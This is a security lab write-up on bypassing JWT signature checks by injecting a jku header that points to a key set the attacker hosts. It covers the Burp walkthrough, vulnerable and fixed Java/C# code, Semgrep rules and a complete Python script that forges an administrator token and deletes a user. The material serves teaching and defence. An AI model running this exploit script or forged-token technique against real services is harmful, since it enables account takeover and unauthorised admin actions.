Lab 05: JWT authentication bypass via jku header injection
1. Executive Summary
Vulnerability: JWT Signature Bypass (Insecure jku Header Processing).
Description: The JSON Web Token (JWT) specification includes a jku (JWK Set URL) parameter in the header. This parameter tells the server where to fetch the JSON Web Key Set (JWKS) containing the public key needed to verify the token’s signature. The application is vulnerable because it blindly follows this URL without validating if it points to a trusted domain.
Impact: Full Account Takeover. An attacker can host their own public key on an external server, inject the URL into the jku header, and sign the token with their corresponding private key. The server will download the attacker’s key, verify the forged signature successfully, and grant the attacker the privileges specified in the payload.
2. The Attack
Objective: Access the admin panel by injecting a jku header pointing to an attacker-controlled JWK Set.
- Reconnaissance & Key Generation:
- I logged into my account (
wiener:peter) and captured the session JWT. - I accessed the JWT Editor Keys tab in Burp Suite and generated a new RSA Key pair.
- I logged into my account (
- Hosting the Malicious Key:
- I copied the Public Key portion of my new RSA key in JWK format.
I navigated to the provided Exploit Server and hosted a JSON file containing my JWK inside a
keysarray:JSON1 2 3 4 5 6 7 8 9 10
{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "893d8f0b-061f-42c2-a4aa-5056e12b8ae7", "n": "yy1wpYmffgXBxhAU..." } ] }
- Token Forgery and Injection:
- I sent the
GET /adminrequest to Repeater and switched to the JSON Web Token view. - I modified the header: updated the
kidto match my generated key’s ID and added"jku": "https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit". - I modified the payload: changed
subtoadministrator. - I signed the token using the JWT Editor extension, ensuring “Don’t modify header” was checked so my injected
jkuandkidparameters remained intact.
- I sent the
- Exploitation:
- I submitted the request with the forged token.
- The server read the
jkuheader, fetched my public key from the Exploit Server, verified my signature, and granted me access to the admin panel. - I navigated to
/admin/delete?username=carlosto complete the objective.
3. Code Review
Vulnerability Analysis (Explanation):
The vulnerability occurs when backend developers implement the jku specification literally but forget the implicit requirement of trust. By allowing the client to dictate the URL of the security material, the application effectively hands over control of the cryptographic verification process to the attacker.
Java (Spring Boot / JJWT)
Technical Flow & Syntax Explanation:
header.get("jku"): Retrieves the attacker-supplied URL directly from the unverified JWT header.new URL(jkuUrl).openConnection(): Initiates an outbound HTTP request to the attacker’s server. This is a form of Server-Side Request Forgery (SSRF) used specifically to subvert cryptography.extractKeyFromJson(jwks, kid): The application parses the downloaded JSON and builds anRSAPublicKeyobject, returning it to the JJWT library. The library then uses this maliciously provided key to validate the malicious signature.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public ClaimsPrincipal ValidateToken(string token)
{
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
ValidateIssuer = false,
ValidateAudience = false,
// VULNERABLE: Resolving the key from an untrusted 'jku' header
IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
{
var jwt = securityToken as JwtSecurityToken;
if (jwt.Header.ContainsKey("jku"))
{
var jkuUrl = jwt.Header["jku"].ToString();
// Fetching the JWKS blindly
using (var client = new HttpClient())
{
var jwksJson = client.GetStringAsync(jkuUrl).Result;
var jwks = new JsonWebKeySet(jwksJson);
return jwks.GetSigningKeys();
}
}
return null;
}
};
return handler.ValidateToken(token, parameters, out _);
}
Technical Flow & Syntax Explanation:
IssuerSigningKeyResolver: A custom delegate used to dynamically provide signing keys.client.GetStringAsync(jkuUrl).Result: The application uses anHttpClientto download the payload from the attacker’s URL. Blocking synchronously with.Resultinside this resolver fetches the key set without any host verification.jwks.GetSigningKeys(): The framework parses the attacker’s JSON Web Key Set and returns the keys as validIssuerSigningKeys.
Mock PR Comment
The JWT validation logic currently fetches public keys from the URL specified in the jku header of the incoming token without checking if the domain is trusted. This allows an attacker to host their own public key, forge a token, and bypass authentication.
Recommendation: If the jku header must be used, implement a strict whitelist of trusted domains (e.g., https://trusted-identity-provider.com/). Reject any token containing a jku URL that does not exactly match the whitelist. Ideally, rely on a statically configured local JWKS endpoint instead of the token header.
4. The Fix
Explanation of the Fix:
To safely use the jku header, the application must verify that the requested URL belongs to an explicitly trusted domain. This prevents attackers from pointing the application to their own servers.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private static final List<String> TRUSTED_DOMAINS = Arrays.asList(
"https://auth.mycompany.com/",
"https://identity.mycompany.com/"
);
public Claims parseToken(String token) {
return Jwts.parserBuilder()
.setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public Key resolveSigningKey(JwsHeader header, Claims claims) {
String jkuUrl = (String) header.get("jku");
// SECURE: Strict Whitelist Validation
boolean isTrusted = TRUSTED_DOMAINS.stream().anyMatch(jkuUrl::startsWith);
if (!isTrusted) {
throw new SecurityException("Untrusted JKU URL provided.");
}
// Proceed to fetch only if trusted...
return fetchAndExtractKey(jkuUrl, header.getKeyId());
}
})
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
TRUSTED_DOMAINS: A hardcoded (or securely configured) list of authoritative endpoints that are permitted to serve cryptographic keys.anyMatch(jkuUrl::startsWith): Before any HTTP connection is made, the application verifies the URL prefix. If the attacker supplieshttps://exploit-server.net/, this check evaluates tofalse, throwing aSecurityExceptionand immediately halting the authentication process.
Secure C#
Technical Flow & Syntax Explanation:
Uri.TryCreate(jkuUrl, ...): Safely parses the string into a URI object to accurately extract the domain name._trustedHosts.Contains(uri.Host): Matches the extracted domain against the explicit whitelist. This prevents SSRF and ensures keys are only downloaded from infrastructure controlled by the organization.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt # PyJWT
def base64url_encode(data):
if isinstance(data, str):
data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
def int_to_base64url(n):
byte_length = (n.bit_length() + 7) // 8
b = n.to_bytes(byte_length, 'big')
return base64url_encode(b)
def generate_malicious_jwks(kid):
print("[*] Generating malicious RSA key pair...")
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
pn = public_key.public_numbers()
jwk = {
"kty": "RSA",
"e": int_to_base64url(pn.e),
"kid": kid,
"n": int_to_base64url(pn.n)
}
jwks = {"keys": [jwk]}
return private_key, jwks
def exploit_jku_injection(url, exploit_url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
token = s.cookies.get('session')
if not token:
print("[-] No session cookie found.")
return
kid = "malicious-key-id-123"
private_key, jwks = generate_malicious_jwks(kid)
print("\n[!!!] ACTION REQUIRED [!!!]")
print("Host the following JSON exactly as it is on your exploit server:")
print("-" * 40)
print(json.dumps(jwks, indent=4))
print("-" * 40)
input("Press Enter once the JWKS is hosted at your Exploit URL...")
print("[*] Forging admin token with injected JKU header...")
payload_b64 = token.split('.')[1]
padding = '=' * (4 - (len(payload_b64) % 4))
payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
payload = json.loads(payload_str)
payload['sub'] = 'administrator'
headers = {
"alg": "RS256",
"kid": kid,
"jku": exploit_url
}
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
print("[*] Sending forged token to /admin...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("exploit_url", help="Your Exploit Server URL where JWKS will be hosted")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_jku_injection(args.url, args.exploit_url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rules:
- id: java-jwt-jku-untrusted-fetch
languages: [java]
message: |
The JWT SigningKeyResolver extracts the 'jku' header and performs an HTTP fetch.
If this URL is not validated against a strict whitelist, it leads to Signature Bypass and SSRF.
severity: ERROR
patterns:
- pattern-inside: |
new SigningKeyResolverAdapter() {
public Key resolveSigningKey(JwsHeader $HEADER, Claims $CLAIMS) {
...
}
}
- pattern: $HEADER.get("jku")
- pattern-not-inside: |
if (<... contains/startsWith/match ...>) { ... }
Technical Flow & Syntax Explanation:
pattern-inside: Narrows the analysis to the custom JJWT key resolution adapter block.$HEADER.get("jku"): Detects the extraction of the dangerous parameter.pattern-not-inside: This filter attempts to reduce false positives by ensuring the rule does not flag code that wraps the extraction or HTTP call in conditional validation logic (e.g., verifying against a whitelist).
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
rules:
- id: csharp-jwt-jku-untrusted-fetch
languages: [csharp]
message: |
IssuerSigningKeyResolver reads the 'jku' header and uses an HTTP client to fetch keys.
Ensure the URI host is strictly validated to prevent cryptographic bypass.
severity: ERROR
patterns:
- pattern-inside: |
IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
- pattern: |
$CLIENT.GetStringAsync(((JwtSecurityToken)$SECTOKEN).Header["jku"].ToString())
Technical Flow & Syntax Explanation:
IssuerSigningKeyResolver = ...: Targets the specific C# delegate responsible for dynamic token verification keys.$CLIENT.GetStringAsync(...): Flags the exact moment the application executes the outbound HTTP request using the dynamically extracted header value. This pinpoints the SSRF and trust boundary violation.
